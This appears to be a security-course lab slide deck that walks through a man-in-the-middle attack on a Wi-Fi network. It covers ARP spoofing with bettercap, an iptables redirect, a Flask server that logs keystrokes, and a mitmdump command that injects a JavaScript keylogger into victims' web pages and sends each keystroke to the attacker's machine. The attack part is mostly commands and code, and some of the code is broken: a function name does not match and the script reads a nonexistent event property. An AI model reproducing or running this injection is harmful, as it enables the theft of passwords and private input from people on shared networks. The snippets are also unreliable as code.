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• This lab demonstrates how the attacker can inject a 

malicious script to the victim's browser in a Wi-Fi, 

which tracks the keystrokes of the victim user.

GOAL



•The prerequisite tools required to perform this attack are:

• Bettercap – to become the man-in-the-middle and perform ARP 

spoof

• Iptables - to change the rules and control where requests will 

be forwarded

• Mitmproxy – to inject malicious script on the victim’s system

TOOLS USED



• STEP 1: Become the root user in the attacker machine

• Open Oracle Virtual Box on your system and launch the 

Ubuntu Virtual Machine on it.

• Open a terminal on your Ubuntu machine and become the 

root user by running the below commands.

STEPS FOR ATTACK



STEP 2: Become the man in the middle using bettercap

• First, we need to set the target of the attack. This is done using 

the bettercap tool. Execute the following commands –

CONTD.



• STEP 3:Update iptables rules to redirect requests to attacker 

machine (Mallory).

• Open another terminal and become the root user following STEP 1.

• Next, we need to update the protocols in the iptables to redirect requests 

from port 80 to port 8080. To do this, run the following commands,

• Ensure that there is an entry in the table to redirect HTTP requests to port 

8080.

CONTD.

iptables -t nat -A PREROUTING -p tcp --dport  80  -j REDIRECT --to-

port 8080

iptables -t nat -L



STEP 4: Create a virtual python environment and install python packages.

• Some python libraries are required to run the server. Install these in a 

virtual environment.

• To create a virtual python environment, run the following commands.

• Install the python packages to create a server.

python3 –version

 apt-get install python<version-number>-venv

python3 -m venv <env-name>

 cd env-name

 source ./bin/activate 

pip install flask

pip install flask_cors

CONTD.



STEP 5: Create the python server

• Create a python file within this folder by running the following 

command.

• This will create a server file and open it in the editor

nano server.py

CONTD.



• Enter the below python code in the server.py file.

from flask import Flask

from flask import request

from flask_cors import CORS, cross_origin

app = Flask(__name__)

CORS(app, resources={r"/*":{"origins":"*"}})

@app.route("/",  methods=['GET', 'OPTIONS'])

@cross_origin(origin="*", headers=['Content-Type', 

'Authorization'])

def index():

 key = request.args.get("keystroke")

    with open("keystroke.txt", "a") as f:

        f.write(key + "\n")

 return "keystroke recorded"

app.run(host='0.0.0.0', port=5000)

CONTD.



STEP 6: Start the server

• Run the server by executing the command,

STEP 7: Identify Attacker machine IP address.

• To identify the IP address of the Ubuntu machine, run 

the below command.

• The first line of the output contains the IP address.

python3 server.py

ifconfig

CONTD.



STEP 8: Inject malicious script into Alice's machine to gather keystrokes.

• In a new terminal, execute step 1 to become root user.

• Navigate to the folder that contains mitmproxy and then execute the following 

command.

• This will start the proxy and inject the above script on the victim machine.

./mitmdump –B 

:”~s”:”</body>”:’</body><script>document.addEventListener("keydown", 

sendKeys);

function sendKeystrokes(e) {

var req = new XMLHttpRequest();

req.open("GET", “http://<host-IP-address>:5000/?keystroke=“ + e[“keystroke”], 

true);

req.send();

}</script>’

CONTD.



SCREENSHOTS

Here we can see that all the keystrokes that the victim types on the search 

bar will be tracked by the attacker on his machine.



APPENDIX



STEP 9:

• On the victim’s machine, open a browser and enter the following 

command to disable CORS.

chrome://flags/#block-insecure-private-network-requests

• Search for the option ‘Block insecure private network requests’ and 

set it as ‘Disabled’. This will allow the keystrokes from the victim 

machine to be sent to the attacker.

• On a new tab, navigate to a HTTP webpage that accepts user input. 

Start typing any text into the input fields.

• Each of the typed keys should be recorded on the Ubuntu machine.

IF CHROME BROWSER INSTEAD 

OF FIREFOX



Any Questions?

THANK YOU!
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